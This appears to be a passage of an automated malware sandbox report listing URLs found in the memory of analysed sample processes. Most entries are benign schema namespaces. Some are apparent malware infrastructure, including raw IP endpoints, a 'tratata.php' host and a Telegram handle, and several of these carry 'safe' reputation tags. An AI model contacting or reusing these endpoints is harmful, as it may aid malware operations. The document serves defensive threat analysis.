https://duckduckgo.com/ac/?q=	AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	false		high
http://tempuri.org/Entity/Id12Response	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t.me/capibar	7728.exe, 00000023.00000002.574917027.0000000000C96000.00000004.00000001.sdmp	false		high
http://tempuri.org/	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id21Response	9B5C.exe, 00000028.00000002.577458374.0000000002F80000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_real	110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id15Response	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576644571.0000000002EA9000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://91.219.236.148:80/capibarA	7728.exe, 00000023.00000002.577288103.000000000287A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://hose-file-host4.com/tratata.php	4D1A.exe, 00000019.00000002.441039139.000000000081B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb/ip	110B.exe, 0000001C.00000002.453201670.00000000043E1000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000000.448610314.0000000000402000.00000040.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, A87C.exe, 00000027.00000002.517417859.00000000000C2000.00000004.00000001.sdmp, A87C.exe, 00000027.00000003.516926123.0000000003722000.00000040.00000001.sdmp, 9B5C.exe, 00000028.00000000.541684095.0000000000402000.00000040.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.558023799.0000000000402000.00000020.00000001.sdmp, C26E.exe.13.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24Response	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_shockwave	AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id5Response	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id10Response	C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8Response	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_wmp	110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://194.180.174.41/	7728.exe, 00000023.00000002.577125327.0000000002861000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	110B.exe, 0000001E.00000002.552596052.00000000028A0000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576020249.0000000002DE0000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575020913.00000000031F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_java	110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_divx	AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id13Response	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577458374.0000000002F80000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
